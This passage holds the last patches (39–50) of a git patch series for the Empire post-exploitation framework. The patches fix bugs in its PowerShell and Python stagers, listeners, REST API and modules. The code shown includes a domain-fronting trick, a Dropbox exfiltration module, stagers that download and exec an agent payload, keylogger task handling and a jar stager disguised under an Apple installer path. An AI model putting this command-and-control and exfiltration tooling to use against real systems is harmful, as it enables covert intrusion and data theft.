@@ -295,10 +295,11 @@ class Listener:
                     for header in customHeaders:
                         headerKey = header.split(':')[0]
                         headerValue = header.split(':')[1]
-            #If host header defined, assume domain fronting is in use and add a call to the base URL first
-            #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
-            if headerKey.lower() == "host":
-                stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};")
+                        #If host header defined, assume domain fronting is in use and add a call to the base URL first
+                        #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
+                        if headerKey.lower() == "host":
+                            stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};")
+
                         stager += helpers.randomize_capitalization("$wc.Headers.Add(")
                         stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
 

From 8c7310adb147a768817c7f6d2080197e314b56f1 Mon Sep 17 00:00:00 2001
From: root <e0x70i@gmail.com>
Date: Thu, 26 Oct 2017 13:04:15 -0700
Subject: [PATCH 39/50] fix broken call to generate by invoke-obfuscation
 changes

---
 lib/modules/powershell/exfiltration/exfil_dropbox.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/modules/powershell/exfiltration/exfil_dropbox.py b/lib/modules/powershell/exfiltration/exfil_dropbox.py
index a6b70b0..c1e8482 100644
--- a/lib/modules/powershell/exfiltration/exfil_dropbox.py
+++ b/lib/modules/powershell/exfiltration/exfil_dropbox.py
@@ -84,7 +84,7 @@ class Module:
                 if option in self.options:
                     self.options[option]['Value'] = value
 
-    def generate(self):
+    def generate(self, obfuscate=False, obfuscationCommand=""):
 
         script = """
 function Invoke-DropboxUpload {
@@ -137,5 +137,5 @@ Invoke-DropboxUpload  """
                         script += " -" + str(option)
                     else:
                         script += " -" + str(option) + " " + str(values['Value'])
-
+        
         return script

From cfdc5d5556b72c76925a7db83b90417cabd9e1d5 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Fri, 27 Oct 2017 03:47:06 -0400
Subject: [PATCH 40/50] Patch b64decode padding error

---
 data/agent/agent.py   | 3 +++
 lib/common/agents.py  | 8 ++++----
 lib/common/packets.py | 9 +--------
 3 files changed, 8 insertions(+), 12 deletions(-)

diff --git a/data/agent/agent.py b/data/agent/agent.py
index c35cf4f..e84692f 100644
--- a/data/agent/agent.py
+++ b/data/agent/agent.py
@@ -134,6 +134,9 @@ def build_response_packet(taskingID, packetData, resultID=0):
     
     if packetData:
         packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8',errors='ignore'))
+        if len(packetData) % 4:
+            packetData += '=' * (4 - len(packetData) % 4)
+            
         length = struct.pack('=L',len(packetData))
         return packetType + totalPacket + packetNum + resultID + length + packetData
     else:
diff --git a/lib/common/agents.py b/lib/common/agents.py
index f318015..d4f7557 100644
--- a/lib/common/agents.py
+++ b/lib/common/agents.py
@@ -1481,10 +1481,10 @@ class Agents:
             conn = self.get_db_connection()
             cur = conn.cursor()      
             data = cur.execute("SELECT data FROM taskings WHERE agent=? AND id=?", [sessionID,taskID]).fetchone()[0]
-	    cur.close()
-	    theSender="Agents"
-	    if data.startswith("function Get-Keystrokes"):
-		theSender += "PsKeyLogger"
+            cur.close()
+            theSender="Agents"
+            if data.startswith("function Get-Keystrokes"):
+		        theSender += "PsKeyLogger"
             if results:
                 # signal that this agent returned results
                 dispatcher.send("[*] Agent %s returned results." % (sessionID), sender=theSender)
diff --git a/lib/common/packets.py b/lib/common/packets.py
index b73ad36..89373e7 100644
--- a/lib/common/packets.py
+++ b/lib/common/packets.py
@@ -199,14 +199,7 @@ def parse_result_packet(packet, offset=0):
         taskID = struct.unpack('=H', packet[6+offset:8+offset])[0]
         length = struct.unpack('=L', packet[8+offset:12+offset])[0]
         if length != '0':
-            if length % 4:
-                #padding fix
-                datapart = packet[12+offset:12+offset+length]
-                datapart += '=' * (4 - length % 4)
-                data = base64.b64decode(datapart)
-            else:
-                data = base64.b64decode(packet[12+offset:12+offset+length])
-            #data = base64.b64decode(packet[12+offset:12+offset+length])
+            data = base64.b64decode(packet[12+offset:12+offset+length])
         else:
             data = None
         remainingData = packet[12+offset+length:]

From d41c7da1908ce00ecf7d283e7f228d74ca58b235 Mon Sep 17 00:00:00 2001
From: ThePirateWhoSmellsOfSunflowers
 <ThePirateWhoSmellsOfSunflowers@users.noreply.github.com>
Date: Fri, 27 Oct 2017 17:10:15 +0200
Subject: [PATCH 41/50] Fix the padding and a logic bug in aes implementation,
 should fix #586

---
 data/agent/stagers/dropbox.py | 37 ++++++++++++++++-------------------
 data/agent/stagers/http.py    | 36 +++++++++++++++-------------------
 2 files changed, 33 insertions(+), 40 deletions(-)

diff --git a/data/agent/stagers/dropbox.py b/data/agent/stagers/dropbox.py
index cfb8831..b840eeb 100644
--- a/data/agent/stagers/dropbox.py
+++ b/data/agent/stagers/dropbox.py
@@ -247,11 +247,8 @@ except Exception:
         return c
 
 def append_PKCS7_padding(data):
-    if (len(data) % 16) == 0:
-        return data
-    else:
-        pad = 16 - (len(data) % 16)
-        return data + to_bufferable(chr(pad) * pad)
+    pad = 16 - (len(data) % 16)
+    return data + to_bufferable(chr(pad) * pad)
 
 
 def strip_PKCS7_padding(data):
@@ -259,11 +256,7 @@ def strip_PKCS7_padding(data):
         raise ValueError("invalid length")
 
     pad = _get_byte(data[-1])
-
-    if pad <= 16:
-        return data[:-pad]
-    else:
-        return data
+    return data[:-pad]
 
 class AES(object):
     '''Encapsulates the AES block cipher.
@@ -522,10 +515,13 @@ class AESModeOfOperationCBC(AESBlockModeOfOperation):
 
 def CBCenc(aesObj, plaintext, base64=False):
 
-    # break the blocks in 16 byte chunks, padding the last chunk if necessary
-    blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)]
-    blocks[-1] = append_PKCS7_padding(blocks[-1])
+    # First we padd the plaintext
+    paddedPlaintext = append_PKCS7_padding(plaintext)
+    
+    # The we break the padded plaintext in 16 byte chunks
+    blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)]
 
+    # Finally we encypt each block
     ciphertext = ""
     for block in blocks:
         ciphertext += aesObj.encrypt(block)
@@ -535,15 +531,16 @@ def CBCenc(aesObj, plaintext, base64=False):
 
 def CBCdec(aesObj, ciphertext, base64=False):
 
-    # break the blocks in 16 byte chunks, padding the last chunk if necessary
+    # First we break the cyphertext in 16 byte chunks
     blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)]
 
-    plaintext = ""
+    # Then we decrypt each block
+    paddedPlaintext = ""
+    for block in blocks:
+        paddedPlaintext += aesObj.decrypt(block)
 
-    for x in xrange(0, len(blocks)-1):
-        plaintext += aesObj.decrypt(blocks[x])
-
-    plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1]))
+    # Finally we strip the padding 
+    plaintext = strip_PKCS7_padding(paddedPlaintext)
 
     return plaintext
 
@@ -892,4 +889,4 @@ response = post_message("https://api.dropboxapi.com/2/files/delete",data=datastr
 
 # step 6 -> server sends HMAC(AES)
 agent = aes_decrypt_and_verify(key, raw)
-exec(agent)
\ No newline at end of file
+exec(agent)
diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py
index 99b6de6..7871fdf 100644
--- a/data/agent/stagers/http.py
+++ b/data/agent/stagers/http.py
@@ -251,13 +251,9 @@ except Exception:
     def _get_byte(c):
         return c
 
-
 def append_PKCS7_padding(data):
-    if (len(data) % 16) == 0:
-        return data
-    else:
-        pad = 16 - (len(data) % 16)
-        return data + to_bufferable(chr(pad) * pad)
+    pad = 16 - (len(data) % 16)
+    return data + to_bufferable(chr(pad) * pad)
 
 
 def strip_PKCS7_padding(data):
@@ -265,11 +261,7 @@ def strip_PKCS7_padding(data):
         raise ValueError("invalid length")
 
     pad = _get_byte(data[-1])
-
-    if pad <= 16:
-        return data[:-pad]
-    else:
-        return data
+    return data[:-pad]
 
 
 class AES(object):
@@ -530,10 +522,13 @@ class AESModeOfOperationCBC(AESBlockModeOfOperation):
 
 def CBCenc(aesObj, plaintext, base64=False):
 
-    # break the blocks in 16 byte chunks, padding the last chunk if necessary
-    blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)]
-    blocks[-1] = append_PKCS7_padding(blocks[-1])
+    # First we padd the plaintext
+    paddedPlaintext = append_PKCS7_padding(plaintext)
+    
+    # The we break the padded plaintext in 16 byte chunks
+    blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)]
 
+    # Finally we encypt each block
     ciphertext = ""
     for block in blocks:
         ciphertext += aesObj.encrypt(block)
@@ -543,15 +538,16 @@ def CBCenc(aesObj, plaintext, base64=False):
 
 def CBCdec(aesObj, ciphertext, base64=False):
 
-    # break the blocks in 16 byte chunks, padding the last chunk if necessary
+    # First we break the cyphertext in 16 byte chunks
     blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)]
 
-    plaintext = ""
+    # Then we decrypt each block
+    paddedPlaintext = ""
+    for block in blocks:
+        paddedPlaintext += aesObj.decrypt(block)
 
-    for x in xrange(0, len(blocks)-1):
-        plaintext += aesObj.decrypt(blocks[x])
-
-    plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1]))
+    # Finally we strip the padding 
+    plaintext = strip_PKCS7_padding(paddedPlaintext)
 
     return plaintext
 

From 6d67f23119d81d09960456e82600e7645a1ee38c Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Sat, 28 Oct 2017 11:11:34 -0400
Subject: [PATCH 42/50] Fix for #777

---
 .../situational_awareness/network/get_sql_server_info.py        | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py
index ca86149..056ca1c 100644
--- a/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py
+++ b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py
@@ -79,6 +79,7 @@ class Module:
             print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
             return ""
         
+        scriptEnd = ""
         if check_all:
             auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
             if obfuscate:
@@ -96,6 +97,7 @@ class Module:
             if password != "":
                 scriptEnd += " -Password "+password
             scriptEnd += " | "
+
         scriptEnd += " Get-SQLServerInfo"
         if username != "":
             scriptEnd += " -Username "+username

From 5f02ee8c45a846e7f59c34ec689ad10e2bf3234e Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Sat, 28 Oct 2017 12:09:58 -0400
Subject: [PATCH 43/50] Minor bug fixes with rest/headless

---
 empire | 23 ++++++++++++-----------
 1 file changed, 12 insertions(+), 11 deletions(-)

diff --git a/empire b/empire
index 79e6759..aa5e7d0 100755
--- a/empire
+++ b/empire
@@ -1161,7 +1161,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
 
 
     if not os.path.exists('./data/empire-chain.pem'):
-        print "[!] Error: cannot find certificate ./data/empire.pem"
+        print "[!] Error: cannot find certificate ./data/empire-chain.pem"
         sys.exit()
 
 
@@ -1229,6 +1229,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
     certPath = os.path.abspath("./data/")
 
     # support any version of tls
+    pyversion = sys.version_info
     if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
         proto = ssl.PROTOCOL_TLS
     elif pyversion[0] >= 3:
@@ -1277,11 +1278,11 @@ if __name__ == '__main__':
          # start an Empire instance and RESTful API
         main = empire.MainMenu(args=args)
         def thread_api(empireMenu):
-            while serverExitCommand == 'restart':
-                try:
-                    start_restful_api(empireMenu=empireMenu, suppress=False, username=args.username, password=args.password, port=args.restport)
-                except SystemExit as e:
-                    pass
+            
+            try:
+                start_restful_api(empireMenu=empireMenu, suppress=False, username=args.username, password=args.password, port=args.restport)
+            except SystemExit as e:
+                pass
 
         thread = helpers.KThread(target=thread_api, args=(main,))
         thread.daemon = True
@@ -1292,11 +1293,11 @@ if __name__ == '__main__':
     elif args.headless:
         # start an Empire instance and RESTful API and suppress output
         main = empire.MainMenu(args=args)
-        while serverExitCommand == 'restart':
-            try:
-                start_restful_api(empireMenu=main, suppress=True, username=args.username, password=args.password, port=args.restport)
-            except SystemExit as e:
-                pass
+        
+        try:
+            start_restful_api(empireMenu=main, suppress=True, username=args.username, password=args.password, port=args.restport)
+        except SystemExit as e:
+            pass
                 
     else:
         # normal execution

From 8306cbbae320afee81ac812a4291667dd088579f Mon Sep 17 00:00:00 2001
From: Dakota Nelson <Dakota.Nelson@students.olin.edu>
Date: Sun, 29 Oct 2017 11:04:14 +0000
Subject: [PATCH 44/50] Include better error messages for credentials POST
 endpoint

---
 empire | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/empire b/empire
index 5cbfc42..e21ac6b 100755
--- a/empire
+++ b/empire
@@ -1044,11 +1044,17 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
         """
         Adds credentials to the database
         """
-        if not request.json or not 'credentials' in request.json:
-            abort(400)
+        if not request.json:
+            return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
+
+        if not 'credentials' in request.json:
+            return make_response(jsonify({'error':'JSON body must include key "credentials"'}), 400)
 
         creds = request.json['credentials']
 
+        if not type(creds) == list:
+            return make_response(jsonify({'error':'credentials must be provided as a list'}), 400)
+
         required_fields = ["credtype", "domain", "username", "password", "host"]
         optional_fields = ["OS", "notes", "sid"]
 

From 863c1fe42e77faaed15929bafbde73f2c0ff5074 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Tue, 31 Oct 2017 22:08:22 -0400
Subject: [PATCH 45/50] add missing import

---
 lib/common/listeners.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/common/listeners.py b/lib/common/listeners.py
index 31507dd..2a216b5 100644
--- a/lib/common/listeners.py
+++ b/lib/common/listeners.py
@@ -4,7 +4,7 @@
 Listener handling functionality for Empire.
 
 """
-
+import sys
 import fnmatch
 import imp
 import helpers

From d94229c330bf23a4500fb9e97a4b305618379ddc Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Tue, 31 Oct 2017 22:09:08 -0400
Subject: [PATCH 46/50] Add missing import

---
 lib/listeners/http.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index 27e846c..9155696 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -1,5 +1,6 @@
 import logging
 import base64
+import sys
 import random
 import os
 import ssl

From 2475ef3b9d096b0cda1d73264ebd222d66725c73 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Wed, 1 Nov 2017 09:13:07 -0600
Subject: [PATCH 47/50] fix bug that was blocking module output (such as
 mimikatz) from showing on screen

---
 lib/common/agents.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/lib/common/agents.py b/lib/common/agents.py
index 965c9be..5a55c37 100644
--- a/lib/common/agents.py
+++ b/lib/common/agents.py
@@ -1534,7 +1534,10 @@ class Agents:
                     pk = (pk + 1) % 65536
                     cur.execute("INSERT INTO results (id, agent, data) VALUES (?,?,?)",(pk, sessionID, data))
                 else:
-		    keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID]).fetchone()[0]
+		    try:
+		        keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID]).fetchone()[0]
+		    except Exception as e:
+			pass
                     cur.execute("UPDATE results SET data=data||? WHERE id=? AND agent=?", [data, taskID, sessionID])
 
         finally:

From 64e4b370df70f60ed0c599ae96b70f801f78dc63 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Wed, 1 Nov 2017 13:22:14 -0400
Subject: [PATCH 48/50] Fixed tabs in recent merge

---
 lib/common/agents.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/lib/common/agents.py b/lib/common/agents.py
index 211c633..8b39b4e 100644
--- a/lib/common/agents.py
+++ b/lib/common/agents.py
@@ -1534,10 +1534,10 @@ class Agents:
                     pk = (pk + 1) % 65536
                     cur.execute("INSERT INTO results (id, agent, data) VALUES (?,?,?)",(pk, sessionID, data))
                 else:
-		    try:
-		        keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID]).fetchone()[0]
-		    except Exception as e:
-			pass
+                    try:
+                        keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID]).fetchone()[0]
+                    except Exception as e:
+                        pass
                     cur.execute("UPDATE results SET data=data||? WHERE id=? AND agent=?", [data, taskID, sessionID])
 
         finally:

From e5729e67d5b0a7aabcbb437c129f18c60c469649 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Wed, 1 Nov 2017 20:48:34 -0400
Subject: [PATCH 49/50] Repair jar stager generation

---
 lib/common/stagers.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/lib/common/stagers.py b/lib/common/stagers.py
index 18aad49..5f4b236 100644
--- a/lib/common/stagers.py
+++ b/lib/common/stagers.py
@@ -18,6 +18,7 @@ import fnmatch
 import imp
 import helpers
 import os
+import errno
 import macholib.MachO
 import shutil
 import zipfile
@@ -443,6 +444,15 @@ class Stagers:
         javacode = file.read()
         file.close()
         javacode = javacode.replace("LAUNCHER",launcherCode)
+        jarpath = self.mainMenu.installPath+'data/misc/classes/com/installer/apple/'
+        try:
+            os.makedirs(jarpath)
+        except OSError as e:
+            if e.errno != errno.EEXIST:
+                raise
+            else:
+                pass
+
         file = open(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java','w')
         file.write(javacode)
         file.close()

From 97b1e241146ba9870e1d3a622dce182e67915961 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Thu, 2 Nov 2017 22:21:25 -0400
Subject: [PATCH 50/50] Add missing import

---
 lib/listeners/http.py      | 1 +
 lib/listeners/http_com.py  | 2 ++
 lib/listeners/http_mapi.py | 2 ++
 3 files changed, 5 insertions(+)

diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index 9155696..80458a5 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -974,6 +974,7 @@ def send_message(packets=None):
                 pyversion = sys.version_info
 
                 # support any version of tls
+                pyversion = sys.version_info
                 if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
                     proto = ssl.PROTOCOL_TLS
                 elif pyversion[0] >= 3:
diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py
index 4117bf3..fdaa409 100644
--- a/lib/listeners/http_com.py
+++ b/lib/listeners/http_com.py
@@ -5,6 +5,7 @@ import os
 import ssl
 import time
 import copy
+import sys
 from pydispatch import dispatcher
 from flask import Flask, request, make_response
 
@@ -636,6 +637,7 @@ class Listener:
                 certPath = os.path.abspath(certPath)
 
                 # support any version of tls
+                pyversion = sys.version_info
                 if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
                     proto = ssl.PROTOCOL_TLS
                 elif pyversion[0] >= 3:
diff --git a/lib/listeners/http_mapi.py b/lib/listeners/http_mapi.py
index 41c8e73..222994a 100644
--- a/lib/listeners/http_mapi.py
+++ b/lib/listeners/http_mapi.py
@@ -5,6 +5,7 @@ import os
 import ssl
 import time
 import copy
+import sys
 from pydispatch import dispatcher
 from flask import Flask, request, make_response
 
@@ -618,6 +619,7 @@ class Listener:
                 certPath = os.path.abspath(certPath)
 
                 # support any version of tls
+                pyversion = sys.version_info
                 if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
                     proto = ssl.PROTOCOL_TLS
                 elif pyversion[0] >= 3: